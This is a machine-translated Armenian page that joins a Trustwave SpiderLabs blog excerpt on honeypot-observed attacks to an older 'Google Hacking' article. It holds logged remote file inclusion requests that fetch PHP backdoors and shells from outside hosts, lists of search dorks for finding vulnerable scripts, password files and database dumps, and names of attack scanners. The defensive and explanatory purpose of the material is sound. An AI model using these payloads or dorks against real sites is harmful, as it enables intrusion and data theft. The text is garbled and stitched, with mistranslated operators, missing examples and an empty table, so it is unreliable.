Սպասվում է Inurl հաղորդագրություն: Google-ի օգտագործումը որպես CGI սկաներ

Ինչպես դուք հավանաբար լսել եք, Trustwave SpiderLabs-ը թողարկել է մեր , որն ընդգծում է արժեքավոր տվյալների հսկայական քանակությունը 2011թ. Այս բլոգային գրառման մեջ ես ուզում եմ առանձնացնել GSR-ի հատուկ բաժինը, որն ընդգծում է հարձակումների հատուկ մեթոդոլոգիաները, որոնք օգտագործվում են հարձակվողների կողմից Եվրոպայում մեր հաճախորդների դեմ:

GSR-ում կա բաժին՝ նվիրված Եվրոպայի, Մերձավոր Արևելքի և Ասիայի (EMEA) տարածաշրջանի մեր հաճախորդներին: Solomon Bhala-ն, ով Trustwave SpiderLabs-ի միջադեպերի արձագանքման թիմի անվտանգության խորհրդատու է, ուրվագծեց հետևյալը՝ կապված հարձակման տարբեր վեկտորների հետ, որոնք օգտագործվում են եվրոպական տարածաշրջանում.

Ի տարբերություն Ամերիկա մայրցամաքում տվյալների փոխզիջման միտումների, տվյալների շատ քիչ փոխզիջումներ են տեղի ունեցել Եվրոպայի, Մերձավոր Արևելքի և Աֆրիկայի (EMEA) POS ցանցերում: Ավելի շուտ, «չիպ և փին» (EMV) ավելի բարձր ընդունման և Եվրոպայում մագնիսական շերտի (mag-stripe) գործարքների անհետացման արդյունքում, EMEA-ում ավելի քիչ հնարավորություններ կան mag-stripe գործարքներում օգտագործվող ուղու տվյալների գողության համար:

Այնուամենայնիվ, տարածաշրջանում շատ mag-stripe միացված POS համակարգեր շարունակում են օգտագործվել՝ աջակցելու միայն mag-stripe քարտերին կամ գործարքներին, որոնք վերադառնում են mag-stripe, երբ EMV-ն ձախողվում է: Որպես այդպիսին, քարտ-ներկայիս փոխզիջումները դեռևս տեղի են ունենում փոքր քանակությամբ:

EMEA-ում էլեկտրոնային առևտրի առևտրականները ճնշող մեծամասնությամբ կիբերհանցագործների թիրախն էին: Էլեկտրոնային առևտրի բիզնեսները թույլ են տալիս հարձակվողներին լինել աշխարհագրորեն անխտիր և մտահոգված լինել միայն այն թիրախների բացահայտմամբ, որոնք քիչ տեխնիկական բարդություն են ներկայացնում կոմպրոմատների մեջ:

Տիպիկ խոցելիությունները, որոնք օգտագործվում են EMEA-ի հետաքննություններում, անապահով էին, բայց ֆայլերի վերբեռնման օրինական մեխանիզմներ կամ շահագործվող հեռավոր ֆայլերի ընդգրկման վեկտորներ:

Հարձակման բնորոշ հոսքը նման է հետևյալին.

Աղբյուրը՝ Tustwave-ի 2012 թվականի Համաշխարհային անվտանգության զեկույցը

SpiderLabs հետազոտական ​​թիմը նաև տվյալներ է հավաքել վեբ honeypot համակարգերից, որոնք հաստատում են հարձակման այս տեսակի մեթոդաբանությունը:

Օգտագործելով որոնման համակարգերը թիրախները բացահայտելու համար

Հարձակվողները հաճախ օգտագործում են որոնման համակարգերի հարցումները՝ որպես վեբ կայքերի արագ նույնականացման մեթոդ, որոնք ունեն որոշակի առանձնահատկություններ այն խոցելիության համար, որը նրանք ցանկանում են օգտագործել: Երբ որոնողական համակարգի արդյունքները վերադարձվում են, հարձակվողն այնուհետև ունի հարձակումներ սկսելու հնարավոր թիրախային կայքերի ցանկ: Ահա մի քանի օրինակներ Ուղղորդող մեր վեբ honeypot-ներից վերցված տեղեկամատյաններից ստացված տվյալները, որոնք ցույց են տալիս որոնման համակարգերի օգտագործումը սովորական խոցելի հավելվածները բացահայտելու համար.

http://www.google.com/m?client=ms-aff-ucweb&output=xhtml&hl=en&q=inurl%3a+admin%2f+login.phphttp://www.google.com/m?client=ms- opera-mini&channel=new&q=inurl%3A+log.Txt //www.google.com/m?cx=partner-mb-pub-6630117049886772:7963048852&ie=utf8&hl=en&q=inurl%3A%20padmin .ru/yandsearch?text=biz+inurl:/gbook +sign.asp
http://yandex.ru/yandsearch?text=car+used+inurl:/light.cgi?page=
http://yandex.ru/yandsearch?text=check+inurl:/guestbook.asp
http://yandex.ru/yandsearch?text=coid+inurl:/write.asp
http://yandex.ru/yandsearch?text=dates+inurl:/modules.php?name=
http://yandex.ru/yandsearch?text=devalues+inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register %22
http://yandex.ru/yandsearch?text=dictionary+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=event+inurl:/minibbs.cgi?log=
http://yandex.ru/yandsearch?text=harder+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=inurl:%22բլոգ
http://yandex.ru/yandsearch?text=inurl:_articles.php?homeid=
http://yandex.ru/yandsearch?text=inurl:/fckeditor/editor/filemanager
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats փոփոխված վիճակներ Վիքիպեդիա
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats արգելում է մարմնամարզությունը
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats ինչ ձեռքբերումներ պետք է գրանցել ռեզյումեում
http://yandex.ru/yandsearch?text=inurl:/modules.php?name= հարցեր և լուծումների ճարտարագիտություն
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 + միացում
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 + ֆինանսներ
http://yandex.ru/yandsearch?text=inurl:/register.php+north
http://yandex.ru/yandsearch?text=inurl:/register.php+you
http://yandex.ru/yandsearch?text=inurl:/?show=հյուրերի գիրք&lr=213
http://yandex.ru/yandsearch?text=kept+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=library+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=op+inurl:/gbook.cgi?user=
http://yandex.ru/yandsearch?text=print+inurl:/guestbook.php
http://yandex.ru/yandsearch?text=provide+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=systems+inurl:/board.cgi?action=
http://yandex.ru/yandsearch?text=visits+inurl:/postcards.php?image_id=
http://yandex.ru/yandsearch?text=zi+inurl:/profile.php?id=

Օգտագործելով խոցելիության սկանավորման գործիքներ/սկրիպտներ

Ահա մի քանի լավագույն խոցելիության սկաների/սկրիպտների անունները, որոնք վերցված են Օգտագործողի գործակալ մեր վեբ honeypot տեղեկամատյանների դաշտերը.

DataCha0s/2.0Gootkit auto-rooter scanner Պատրաստված է ZmEu @ WhiteHat Team - www.whitehat.roMaMa CaSpErMorfeus Fucking ScannerZmEu

Օգտագործեք հեռակա ֆայլի ներառման խոցելիությունը

Remote File Inclusion-ի խոցելիությունները լայնորեն թիրախավորվում են հարձակվողների կողմից՝ որպես միջոց կամ գործարկելու php կոդը կամ ներբեռնելու տրոյական ետնադռան հավելված: Ահա մի քանի RFI հարձակման օգտակար բեռներ, որոնք մենք հավաքել ենք մեր վեբ honeypot-ից հենց այսօր.

ՍՏԱՆԱԼ /become_editor.php?theme_path=http://www.univerzum.de/allnett.jpg?? HTTP/1.1
ՍՏԱՆԱԼ /become_editor.php?theme_path=http://www.univerzum.de/byroee.jpg?? HTTP/1.1
GET /become_editor.php?theme_path=?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //manager/admin/index.php?MGR=http://www.ralphlaurenukonlineshop.com/list.txt??? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N7.jpg?? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N8.jpg?? HTTP/1.1
GET //?_SERVER=http://www.triz.or.kr//data/log/auto1.txt?? HTTP/1.1
GET /webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://popsiclesocial.com/mmstaging//wp-admin/user/?? HTTP/1.1
GET //wp-content/plugins/wp_rokstories/?src=http://udassham.com//air.php HTTP/1.1
GET //wp-content/themes/arras/library/timhumb.php?src=http://blogger.com.mesco.com.vn/login.php HTTP/1.1
GET //wp-content/themes/arras/library/widgets.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
Ստացեք /wp-content/themes/cadabrapress/scripts/?src=http://blogger.com.3085.a.hostable.me/myid.php HTTP/1.1
Ստացեք /wp-content/themes/cadabrapress/scripts/?src=http://flickr.com.javafootwear.com/vegetable.php HTTP/1.1
ՍՏԱՆԱԼ /wp-content/themes/cadabrapress/scripts/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/DeepFocus/_tbs.php?src=http://blogger.com.herzelconsultores.com.ar/shell.php HTTP/1.1
GET ///wp-content/themes/editorial/functions/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
Ստացեք //wp-content/themes/Magnificent/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET ///wp-content/themes/optimize/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
GET //wp-content/themes/Polished/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/prosto/functions/?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
Ստացեք //wp-content/themes/sakura/plugins/woo-tumblog/functions/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET //wp-content/themes/telegraph/scripts/?src=http://img.youtube.com.uscd.ro/bogel.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/byroe.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/spread.php HTTP/1.1

Այս ֆայլերից յուրաքանչյուրը, որին հղում է արվում http off site payload-ով, PHP կոդի կամ հետևի դռների մի տեսակ է: Երբ հետնախորշ/տրոյական վեբ էջը տեղադրվի, հարձակվողը կարող է այն օգտագործել հետևյալն անելու համար.

Որոնեք տեղական ֆայլերը վարկային քարտի սեփականատիրոջ տվյալների համար.

Անմիջապես միացեք տվյալների բազայի ունկնդիրին՝ գրառումներ որոնելու համար:

Դա հնարավոր է, քանի որ շատ ACL-ներ թույլ են տալիս մուտք գործել տեղական հոսթից: Սա նաև թույլ է տալիս հարձակվողին կատարել SQL հարցումներ, որոնք հնարավոր չի եղել վեբ հավելվածում SQL Injection-ի խոցելիության միջոցով:

Google որոնողական համակարգը (www.google.com) ապահովում է որոնման բազմաթիվ տարբերակներ: Այս բոլոր հատկանիշները անգնահատելի որոնման գործիք են առաջին անգամ ինտերնետ օգտագործողի համար և միևնույն ժամանակ ներխուժման և ոչնչացման էլ ավելի հզոր զենք չար մտադրություններ ունեցող մարդկանց, այդ թվում՝ ոչ միայն հաքերների, այլև ոչ համակարգչային հանցագործների ձեռքում։ և նույնիսկ ահաբեկիչներ:
(9475 դիտում 1 շաբաթում)

Դենիս Բատրանկով
denisNOSPAMixi.ru

Ուշադրություն.Այս հոդվածը գործողությունների ուղեցույց չէ: Այս հոդվածը գրված է ձեզ համար, ՎԵԲ սերվերի ադմինիստրատորներ, որպեսզի կորցնեք ձեր ապահովության կեղծ զգացումը և վերջապես հասկանաք տեղեկատվություն ստանալու այս մեթոդի նենգությունը և ձեռնամուխ լինեք ձեր կայքի պաշտպանությանը:

Ներածություն

Օրինակ, ես գտա 1670 էջ 0,14 վայրկյանում:

2. Մուտքագրենք մեկ այլ տող, օրինակ.

inurl:"auth_user_file.txt"

մի փոքր ավելի քիչ, բայց սա արդեն բավական է անվճար ներբեռնման և գաղտնաբառերը գուշակելու համար (օգտագործելով նույն John The Ripper-ը): Ստորև բերեմ ևս մի քանի օրինակ։

Այսպիսով, դուք պետք է գիտակցեք, որ Google որոնողական համակարգը այցելել է ինտերնետային կայքերի մեծ մասը և քեշավորել դրանցում պարունակվող տեղեկատվությունը: Այս քեշավորված տեղեկատվությունը թույլ է տալիս տեղեկատվություն ստանալ կայքի և կայքի բովանդակության մասին՝ առանց կայքի հետ անմիջական կապի, պարզապես փորփրելով Google-ի ներսում պահվող տեղեկատվությունը: Ավելին, եթե կայքի տեղեկատվությունը այլևս հասանելի չէ, ապա քեշի տեղեկատվությունը դեռ կարող է պահպանվել: Այս մեթոդի համար անհրաժեշտ է միայն մի քանիսը իմանալ հիմնաբառեր Google. Այս տեխնիկան կոչվում է Google Hacking:

Առաջին անգամ Google Hacking-ի մասին տեղեկությունը հայտնվել է Bugtruck-ի փոստային ցուցակում 3 տարի առաջ։ 2001 թվականին այս թեման բարձրացրել է մի ֆրանսիացի ուսանող։ Ահա այս նամակի հղումը http://www.cotse.com/mailing-lists/bugtraq/2001/Nov/0129.html: Այն տալիս է նման խնդրանքների առաջին օրինակները.

1) ինդեքս /admin
2) /գաղտնաբառի ինդեքս
3) /փոստի ինդեքս
4) ինդեքս / +banques + filetype:xls (Ֆրանսիայի համար...)
5) ինդեքս / +passwd
6) Index of/password.txt

Այս թեման վերջերս մեծ աղմուկ բարձրացրեց համացանցի անգլերեն ընթերցանության հատվածում՝ 2004 թվականի մայիսի 7-ին հրապարակված Ջոնի Լոնգի հոդվածից հետո։ Google Hacking-ի ավելի ամբողջական ուսումնասիրության համար խորհուրդ եմ տալիս այցելել այս հեղինակի կայքը http://johnny.ihackstuff.com: Այս հոդվածում ես պարզապես ուզում եմ ձեզ թարմացնել:

Ով կարող է օգտագործել այն.
- Լրագրողները, լրտեսները և բոլոր այն մարդիկ, ովքեր սիրում են իրենց քիթը խոթել ուրիշների գործերում, կարող են օգտագործել դա՝ կոմպրոմատներ փնտրելու համար:
- Հաքերները փնտրում են հաքերների համար հարմար թիրախներ:

Ինչպես է աշխատում Google-ը:

Զրույցը շարունակելու համար թույլ տվեք հիշեցնել Google-ի հարցումներում օգտագործվող որոշ հիմնաբառեր:

Որոնել՝ օգտագործելով + նշանը

Google-ը որոնումից բացառում է, իր կարծիքով, անկարևոր բառերը։ Օրինակ՝ հարցական բառեր, նախադրյալներ և հոդվածներ Անգլերեն Լեզուօրինակ են, են, որտեղ. Ռուսերեն Google լեզունկարծես բոլոր բառերը կարևոր են համարում: Եթե ​​բառը դուրս է մնում որոնումից, ապա Google-ը գրում է այդ մասին։ Որպեսզի Google-ը սկսի այս բառերով էջերի որոնումը, դուք պետք է դրանցից առաջ ավելացնեք + նշան՝ առանց բառի առաջ բացատ: Օրինակ:

ace + բազա

Որոնել ըստ նշանի -

Եթե ​​Google-ը գտնում է մեծ թվով էջեր, որոնցից ցանկանում եք բացառել որոշակի թեմաներով էջեր, ապա կարող եք ստիպել Google-ին փնտրել միայն որոշակի բառեր չպարունակող էջեր։ Դա անելու համար հարկավոր է նշել այս բառերը՝ յուրաքանչյուրի դիմաց նշան դնելով՝ բառից առաջ առանց բացատ: Օրինակ:

ձկնորսություն - օղի

Որոնել ~ նշանով

Դուք կարող եք փնտրել ոչ միայն նշված բառը, այլև դրա հոմանիշները: Դա անելու համար բառին նախորդեք ~ նշանով:

Կրկնակի չակերտների միջոցով ճշգրիտ արտահայտություն գտնելը

Google-ը յուրաքանչյուր էջում որոնում է այն բառերի բոլոր դեպքերը, որոնք դուք գրել եք հարցման տողում, և նրան չի հետաքրքրում բառերի հարաբերական դիրքը, գլխավորն այն է, որ բոլոր նշված բառերը միաժամանակ լինեն էջում ( սա լռելյայն գործողությունն է): Ճշգրիտ արտահայտությունը գտնելու համար հարկավոր է այն չակերտների մեջ դնել։ Օրինակ:

«գրքերի վերջակետ»

Նշված բառերից գոնե մեկը ունենալու համար պետք է նշեք տրամաբանական գործողությունհստակորեն՝ ԿԱՄ. Օրինակ:

գրքի անվտանգություն ԿԱՄ պաշտպանություն

Բացի այդ, որոնման տողում կարող եք օգտագործել * նշանը՝ ցանկացած բառ և. ներկայացնել ցանկացած կերպար:

Լրացուցիչ օպերատորներով բառերի որոնում

Կան որոնման օպերատորներ, որոնք նշված են որոնման տողում հետևյալ ձևաչափով.

օպերատոր:search_term

Հաստ աղիքի կողքին բացատներն անհրաժեշտ չեն։ Եթե ​​երկու կետից հետո բացատ տեղադրեք, կտեսնեք սխալի հաղորդագրություն, իսկ դրանից առաջ Google-ը դրանք կօգտագործի որպես սովորական որոնման տող:
Կան լրացուցիչ որոնման օպերատորների խմբեր. լեզուներ - նշեք, թե որ լեզվով եք ուզում տեսնել արդյունքը, ամսաթիվը - սահմանափակեք արդյունքները վերջին երեք, վեց կամ 12 ամիսների ընթացքում, դեպքեր - նշեք, թե փաստաթղթում որտեղ պետք է փնտրեք: տողը. ամենուր, վերնագրում, URL-ում, տիրույթներ - որոնել նշված կայքը կամ հակառակը բացառել այն որոնումից, անվտանգ որոնում - արգելափակել նշված տեսակի տեղեկատվություն պարունակող կայքերը և հեռացնել դրանք որոնման արդյունքների էջերից:
Այնուամենայնիվ, որոշ օպերատորներ լրացուցիչ պարամետրի կարիք չունեն, օրինակ, հարցումը « քեշ: www.google.com«Կարելի է անվանել որպես ամբողջական որոնման տող, իսկ որոշ հիմնաբառեր, ընդհակառակը, պահանջում են որոնման բառ, օրինակ. կայք: www.google.com օգնությունՄեր թեմայի լույսի ներքո եկեք նայենք հետևյալ օպերատորներին.

Օպերատոր

Նկարագրություն

Պահանջո՞ւմ է լրացուցիչ պարամետր:

որոնել միայն search_term-ում նշված կայքը

որոնել միայն որոնման_տերմինով փաստաթղթերում

գտնել որոնման_տերմին պարունակող էջեր վերնագրում

գտնել էջեր, որոնք պարունակում են վերնագրի բոլոր բառերը՝ search_term

գտնել իրենց հասցեում search_term բառը պարունակող էջեր

գտնել էջեր, որոնք պարունակում են իրենց հասցեում search_term բառերը

Օպերատոր կայքը:սահմանափակում է որոնումը միայն նշված կայքում, և դուք կարող եք նշել ոչ միայն Տիրույթի անունըայլ նաև IP հասցեն: Օրինակ, մուտքագրեք.

Օպերատոր ֆայլի տեսակը:սահմանափակում է որոնումները որոշակի տեսակի ֆայլերով: Օրինակ:

Այս հոդվածի ամսաթվի դրությամբ Google-ը կարող է որոնել 13 տարբեր ֆայլերի ձևաչափերում.

  • Adobe Portable Document Format (pdf)
  • Adobe PostScript (ps)
  • Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
  • Lotus Word Pro (lwp)
  • MacWrite (մվտ)
  • Microsoft Excel(xls)
  • Microsoft PowerPoint (ppt)
  • Microsoft Word (փաստաթուղթ)
  • Microsoft Works (wks, wps, wdb)
  • Microsoft Write (wri)
  • Հարուստ տեքստի ձևաչափ (rtf)
  • Shockwave Flash (swf)
  • Տեքստ (ans, txt)

Օպերատոր հղում:ցույց է տալիս բոլոր էջերը, որոնք մատնանշում են նշված էջը:
Միշտ պետք է հետաքրքիր լինի տեսնել, թե ինտերնետում քանի տեղ գիտի ձեր մասին: Մենք փորձում ենք.

Օպերատոր քեշ:ցույց է տալիս կայքի Google-ի քեշավորված տարբերակը, ինչպես այն տեսքը, երբ Google-ը վերջին անգամ այցելել է էջ: Մենք վերցնում ենք ցանկացած հաճախակի փոփոխվող կայք և նայում.

Օպերատոր կոչում:որոնում է նշված բառը էջի վերնագրում: Օպերատոր allintitle:ընդլայնում է. այն փնտրում է էջի վերնագրում նշված բոլոր մի քանի բառերը: Համեմատել.

անվանումը՝ թռիչք դեպի Մարս
intitle:թռիչք intitle:on intitle:mars
allintitle:Թռիչք դեպի Մարս

Օպերատոր inurl:ստիպում է Google-ին ցույց տալ բոլոր էջերը, որոնք պարունակում են նշված տողը URL-ում: allinurl. որոնում է բոլոր բառերը URL-ում: Օրինակ:

allinurl:acid_stat_alerts.php

Այս հրամանը հատկապես օգտակար է նրանց համար, ովքեր չունեն SNORT. գոնե նրանք կարող են տեսնել, թե ինչպես է այն աշխատում իրական համակարգում:

Google հաքերային մեթոդներ

Այսպիսով, մենք պարզեցինք, որ օգտագործելով վերը նշված օպերատորների և հիմնաբառերի համադրությունը, յուրաքանչյուրը կարող է սկսել հավաքել անհրաժեշտ տեղեկատվությունև փնտրում են խոցելի տեղեր: Այս տեխնիկան հաճախ կոչվում է Google Hacking:

Կայքի քարտեզ

Դուք կարող եք օգտագործել կայքի հայտարարությունը, որպեսզի տեսնեք բոլոր հղումները, որոնք Google-ը գտել է կայքում: Սովորաբար, էջերը, որոնք դինամիկ կերպով ստեղծվում են սկրիպտներով, չեն ինդեքսավորվում՝ օգտագործելով պարամետրերը, ուստի որոշ կայքեր օգտագործում են ISAPI զտիչներ, որպեսզի հղումները իրենց ձևով չլինեն։ /article.asp?num=10&dst=5, բայց շեղերով /article/abc/num/10/dst/5. Սա արվում է ապահովելու համար, որ կայքը ընդհանուր առմամբ ինդեքսավորվի որոնման համակարգերի կողմից:

Արի փորձենք:

կայք: www.whitehouse.gov Whitehouse

Google-ը կարծում է, որ կայքի յուրաքանչյուր էջ պարունակում է whitehouse բառը։ Սա այն է, ինչ մենք օգտագործում ենք բոլոր էջերը ստանալու համար:
Կա նաև պարզեցված տարբերակ.

կայք:whitehouse.gov

Եվ ամենալավն այն է, որ whitehouse.gov-ի ընկերները նույնիսկ չգիտեին, որ մենք նայեցինք իրենց կայքի կառուցվածքին և նույնիսկ նայեցինք պահված էջերը, որոնք Google-ը ներբեռնել էր իր համար: Սա կարող է օգտագործվել կայքերի կառուցվածքն ուսումնասիրելու և բովանդակությունը դիտելու համար՝ առայժմ չնկատվելով։

Ֆայլերի ցուցակագրում գրացուցակներում

WEB սերվերները սովորականի փոխարեն կարող են ցույց տալ սերվերների դիրեկտորիաների ցուցակներ HTML էջեր. Սա սովորաբար արվում է օգտվողներին ստիպելու համար ընտրել և ներբեռնել որոշակի ֆայլեր: Այնուամենայնիվ, շատ դեպքերում ադմինիստրատորները մտադիր չեն ցույց տալ գրացուցակի բովանդակությունը: Դա պայմանավորված է սերվերի սխալ կազմաձևմամբ կամ գրացուցակում գլխավոր էջի բացակայության պատճառով: Արդյունքում հաքերը հնարավորություն է ստանում գրացուցակում գտնել ինչ-որ հետաքրքիր բան և օգտագործել այն իր նպատակների համար։ Բոլոր նման էջերը գտնելու համար բավական է նկատել, որ դրանք բոլորն էլ իրենց վերնագրում պարունակում են՝ index of բառերը։ Բայց քանի որ բառերի ինդեքսը պարունակում է ոչ միայն այդպիսի էջեր, մենք պետք է ճշգրտենք հարցումը և հաշվի առնենք հենց էջի հիմնաբառերը, ուստի այնպիսի հարցումներ, ինչպիսիք են.

intitle:index.of parent directory
անվանումը:index.of name size

Քանի որ գրացուցակների ցուցակների մեծ մասը միտումնավոր է, դուք կարող եք դժվարությամբ առաջին անգամ գտնել անտեղի ցուցակներ: Բայց գոնե դուք արդեն կարող եք օգտագործել ցանկերը սահմանելու համար ՎԵԲ տարբերակներըսերվեր, ինչպես նկարագրված է ստորև:

Ստանալով WEB սերվերի տարբերակը:

WEB սերվերի տարբերակի իմացությունը միշտ օգտակար է ցանկացած հաքերային հարձակում սկսելուց առաջ: Կրկին Google-ի շնորհիվ հնարավոր է ստանալ այս տեղեկատվությունը առանց սերվերի միանալու: Եթե ​​ուշադիր նայեք գրացուցակի ցուցակին, կարող եք տեսնել, որ այնտեղ ցուցադրվում են WEB սերվերի անունը և դրա տարբերակը:

Apache1.3.29 - ProXad սերվեր trf296.free.fr Port 80-ում

Փորձառու ադմինիստրատորը կարող է փոխել այս տեղեկատվությունը, բայց, որպես կանոն, դա ճիշտ է: Այսպիսով, այս տեղեկատվությունը ստանալու համար բավական է հարցում ուղարկել.

վերնագիր:index.of server.at

Հատուկ սերվերի համար տեղեկատվություն ստանալու համար մենք ճշգրտում ենք հարցումը.

intitle:index.of server.at site:ibm.com

Կամ հակառակը, մենք փնտրում ենք սերվերներ, որոնք աշխատում են սերվերի որոշակի տարբերակի վրա.

intitle:index.of Apache/2.0.40 Server at

Այս տեխնիկան կարող է օգտագործել հաքերը՝ զոհին գտնելու համար։ Եթե, օրինակ, նա ունի շահագործում WEB սերվերի որոշակի տարբերակի համար, ապա նա կարող է գտնել այն և փորձել գոյություն ունեցող շահագործումը։

Կարող եք նաև ստանալ սերվերի տարբերակը՝ դիտելով այն էջերը, որոնք տեղադրված են լռելյայնորեն՝ WEB սերվերի թարմ տարբերակը տեղադրելիս: Օրինակ՝ Apache 1.2.6 թեստային էջը տեսնելու համար պարզապես մուտքագրեք

վերնագիր:Test.Page.for.Apache it.worked!

Ավելին, ոմանք ՕՀտեղադրման ժամանակ նրանք անմիջապես տեղադրում և գործարկում են WEB սերվերը: Այնուամենայնիվ, որոշ օգտվողներ նույնիսկ տեղյակ չեն այս մասին: Բնականաբար, եթե տեսնում եք, որ ինչ-որ մեկը չի ջնջել լռելյայն էջը, ապա տրամաբանական է ենթադրել, որ համակարգիչը ընդհանրապես որևէ կոնֆիգուրացիայի չի ենթարկվել և հավանաբար խոցելի է հարձակումների համար։

Փորձեք փնտրել IIS 5.0 էջեր

allintitle:Բարի գալուստ Windows 2000 ինտերնետ ծառայություններ

IIS-ի դեպքում կարող եք որոշել ոչ միայն սերվերի տարբերակը, այլ նաև Windows տարբերակըև սպասարկման փաթեթ:

WEB սերվերի տարբերակը որոշելու մեկ այլ միջոց է փնտրել ձեռնարկներ (օգնության էջեր) և օրինակներ, որոնք կարող են լռելյայն տեղադրվել կայքում: Հաքերները գտել են այս բաղադրիչներն օգտագործելու բավականին շատ եղանակներ՝ կայքի արտոնյալ մուտք ստանալու համար: Այդ իսկ պատճառով դուք պետք է հեռացնեք այդ բաղադրիչները արտադրության վայրում: Էլ չենք խոսում այն ​​մասին, որ այս բաղադրիչների առկայությամբ կարելի է տեղեկություններ ստանալ սերվերի տեսակի և դրա տարբերակի մասին։ Օրինակ, եկեք գտնենք apache ձեռնարկը.

inurl:manual apache դիրեկտիվների մոդուլներ

Google-ի օգտագործումը որպես CGI սկաներ:

CGI սկաները կամ WEB սկաները տուժողի սերվերում խոցելի սկրիպտների և ծրագրերի որոնման օգտակար գործիք է: Այս կոմունալ ծառայությունները պետք է իմանան, թե ինչ փնտրել, դրա համար նրանք ունեն խոցելի ֆայլերի մի ամբողջ ցուցակ, օրինակ.

/cgi-bin/cgiemail/uargg.txt
/random_banner/index.cgi
/random_banner/index.cgi
/cgi-bin/mailview.cgi
/cgi-bin/maillist.cgi
/cgi-bin/userreg.cgi

/iissamples/ISSamples/SQLQHit.asp
/SiteServer/admin/findvserver.asp
/scripts/cphost.dll
/cgi-bin/finger.cgi

Մենք կարող ենք գտնել այս ֆայլերից յուրաքանչյուրը Google, որոնման տողի մեջ լրացուցիչ ֆայլի անվան հետ օգտագործելով index of կամ inurl բառերը. մենք կարող ենք գտնել կայքեր խոցելի սկրիպտներով, օրինակ.

allinurl:/random_banner/index.cgi

Լրացուցիչ գիտելիքների առկայության դեպքում հաքերը կարող է օգտագործել սկրիպտի խոցելիությունը և օգտագործել այդ խոցելիությունը՝ ստիպելու սկրիպտին սպասարկել սերվերում պահվող ցանկացած ֆայլ: Օրինակ՝ գաղտնաբառի ֆայլ:

Ինչպես պաշտպանվել ձեզ Google-ի միջոցով կոտրվելուց:

1. Մի վերբեռնեք կարևոր տվյալներ WEB սերվեր:

Նույնիսկ եթե դուք ժամանակավորապես հրապարակել եք տվյալները, կարող եք մոռանալ դրա մասին, այլապես ինչ-որ մեկը ժամանակ կունենա գտնելու և վերցնելու այս տվյալները՝ նախքան դրանք ջնջելը: Մի արեք դա: Տվյալների փոխանցման շատ այլ եղանակներ կան, որոնք պաշտպանում են դրանք գողությունից:

2. Ստուգեք ձեր կայքը:

Օգտագործեք նկարագրված մեթոդները ձեր կայքը ուսումնասիրելու համար: Պարբերաբար ստուգեք ձեր կայքը նոր մեթոդների համար, որոնք հայտնվում են http://johnny.ihackstuff.com կայքում: Հիշեք, որ եթե ցանկանում եք ավտոմատացնել ձեր գործողությունները, պետք է հատուկ թույլտվություն ստանաք Google-ից: Եթե ​​ուշադիր կարդաք http://www.google.com/terms_of_service.html, ապա կտեսնեք արտահայտությունը. Դուք չեք կարող ցանկացած տեսակի ավտոմատացված հարցումներ ուղարկել Google-ի համակարգ՝ առանց Google-ի նախապես թույլտվության:

3. Հնարավոր է, որ Google-ի կարիք չունենաք ձեր կայքի կամ դրա մի մասի ինդեքսավորման համար:

Google-ը թույլ է տալիս հեռացնել ձեր կայքի հղումը կամ դրա մի մասը իր տվյալների բազայից, ինչպես նաև հեռացնել էջերը քեշից: Բացի այդ, դուք կարող եք արգելել պատկերների որոնումը ձեր կայքում, արգելել էջերի կարճ հատվածների ցուցադրումը որոնման արդյունքներում Կայքը ջնջելու բոլոր հնարավորությունները նկարագրված են էջում։ http://www.google.com/remove.html. Դա անելու համար դուք պետք է հաստատեք, որ դուք իսկապես այս կայքի սեփականատերն եք կամ տեղադրեք թեգեր էջում կամ

4. Օգտագործեք robots.txt

Հայտնի է, որ որոնման համակարգերը նայում են robots.txt ֆայլը կայքի սկզբում և չեն ինդեքսավորում այն ​​հատվածները, որոնք նշված են բառով։ Արգելել. Դուք կարող եք դա օգտագործել՝ կայքի մի մասի ինդեքսավորումը կանխելու համար: Օրինակ, ամբողջ կայքի ինդեքսավորումից խուսափելու համար ստեղծեք robots.txt ֆայլ, որը պարունակում է երկու տող.

Օգտագործող-գործակալ՝ *
թույլ չտալ:/

Էլ ինչ է լինում

Որպեսզի կյանքը ձեզ մեղր չթվա, վերջում կասեմ, որ կան կայքեր, որոնք հետևում են այն մարդկանց, ովքեր վերը նշված մեթոդներով ծակեր են փնտրում սկրիպտներում և ՎԵԲ սերվերներ. Նման էջի օրինակ է

Դիմում.

Մի քիչ քաղցր: Փորձեք ինքներդ ձեզ համար հետևյալներից մեկը.

1. #mysql dump filetype:sql - որոնել տվյալների բազայի աղբարկղերը mySQL տվյալներ
2. Հյուրընկալողի խոցելիության ամփոփ զեկույց - ցույց կտա ձեզ, թե ինչ խոցելիություններ են գտել այլ մարդիկ
